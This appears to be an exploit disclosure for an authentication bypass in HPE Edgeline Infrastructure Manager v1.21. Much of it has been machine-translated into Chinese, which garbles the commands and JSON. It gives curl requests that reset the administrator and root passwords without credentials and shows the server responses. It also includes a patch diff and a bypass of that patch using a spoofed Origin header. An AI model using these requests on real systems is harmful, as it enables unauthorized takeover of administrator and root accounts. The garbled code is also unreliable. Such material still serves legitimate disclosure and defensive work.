HPE Edgeline基础设施经理v1.21认证绕过

#重置管理员密码curl - k - tlsv1.2 - h - type: application / json的- d '{“密码”:“攻击者”}’- x片https:// < eim-host > /鲑/ v1 / SessionService / ResetPassword / 1{“消息”:[{:“消息id Base.1.0。“}],”@odata更新。“:”# Message.1.0.0类型。消息","错误":{" @Message。ExtendedInfo”:[{:“消息id Base.1.0。更新”}],“代码”:“iLO.1.0。ExtendedInfo "}} #登录新管理员密码;得到一个X-Auth-Token curl ki - tlsv1.2 - h - type: application / json的- d '{“用户名”:“管理员”,“密码”:“攻击者”}“https:// < eim-host > /鲑/ v1 / SessionService /会话创建HTTP / 1.1 201服务器:nginx日期:星期四,2021年1月28日格林尼治时间06:27:54 - type: application / json内容长度:195连接:维生X-Auth-Token: eda6c27504c54cf68e1d005742c1ef8c573e5e60 Is-Ldap:假PasswordReset:错误的位置:/鲑/ v1 / SessionService /会议/ Administrator16 cache - control: no - cache OData-Version: 4.0链接:/鲑/ v1 / SchemaStore / en / SessionCollection.json; rel = describedby不同:接受允许:帖子,选项,让X-Frame-Options: SAMEORIGIN X-Frame-Options: SAMEORIGIN X-XSS-Protection: 1;模式={“消息”:[{块:“消息id Base.1.0。创建@odata})。“:”# Message.1.0.0类型。消息","错误":{" @Message。ExtendedInfo”:[{:“消息id Base.1.0。创建“}],”代码”:“iLO.1.0。ExtendedInfo"}}[ # Reset the root password # This request sets the password for both the Administrator account (webapp user) and the root account (OS user) curl -ki --tlsv1.2 -H 'content-type: application/json' -H 'x-auth-token: eda6c27504c54cf68e1d005742c1ef8c573e5e60' -d '{"Password":"attacker"}' -X PATCH https:///redfish/v1/AccountService/Accounts/1 HTTP/1.1 200 OK Server: nginx Date: Thu, 28 Jan 2021 06:32:27 GMT Content-Type: application/json Content-Length: 75 Connection: keep-alive Vary: Accept, Cookie Allow: POST, GET, DELETE, OPTIONS, PATCH X-Frame-Options: SAMEORIGIN Set-Cookie: sessionid=kezu0jqn1xfalr3fcwet165fsvhw4v4r; expires=Thu, 11 Feb 2021 06:32:27 GMT; HttpOnly; Max-Age=1209600; Path=/; SameSite=Lax X-Frame-Options: SAMEORIGIN X-XSS-Protection: 1; mode=block {"Status": "success", "Invalid_Entries": [], "Valid_Entries": ["Password"]}

- - - 1.21 / api_fs / opt / app / eim / api /观点。py -0400 12:28:48.000000000 2020-09-17 + + + 1.22 / api_fs / opt / app / eim / api /观点。py -0400 12:24:13.000000000 2021-04-01 @@ -1830、9 + 1830, 20 @@ @api_view @permission_classes((“补丁”))((AllowAll)) def specific_password_reset(请求,user_id): + is_console_user = False + request_origin = " +“HTTP_ORIGIN”请求。元和请求。元(“HTTP_ORIGIN”) = = " https://127.0.0.1 ": + request_origin =请求。元(“HTTP_ORIGIN”) + is_console_user = True -如果请求。方法= =“补丁”:+如果不是is_console_user: + logger.info(“{}的未经身份验证的密码重置”.format (request_origin)) + logger.info(“未经身份验证的密码重置仅限于控制台”)+ resp = JsonResponse (json.loads (error_template。格式(“ConsoleRestricted”、“ConsoleRestricted”))) +职责。如果请求status_code = 403 +返回resp +。方法= =“补丁”:uri = request.get_full_path()尝试:

curl - k - tlsv1.2 - h - type: application / json的- h的起源:https://127.0.0.1 - d '{“密码”:“攻击者”}’- x片https:// < eim - 1.22 -主机> /鲑/ v1 / SessionService / ResetPassword / 1{“消息”:[{:“消息id Base.1.0。“}],”@odata更新。“:”# Message.1.0.0类型。消息","错误":{" @Message。ExtendedInfo”:[{:“消息id Base.1.0。更新”}],“代码”:“iLO.1.0。ExtendedInfo"}}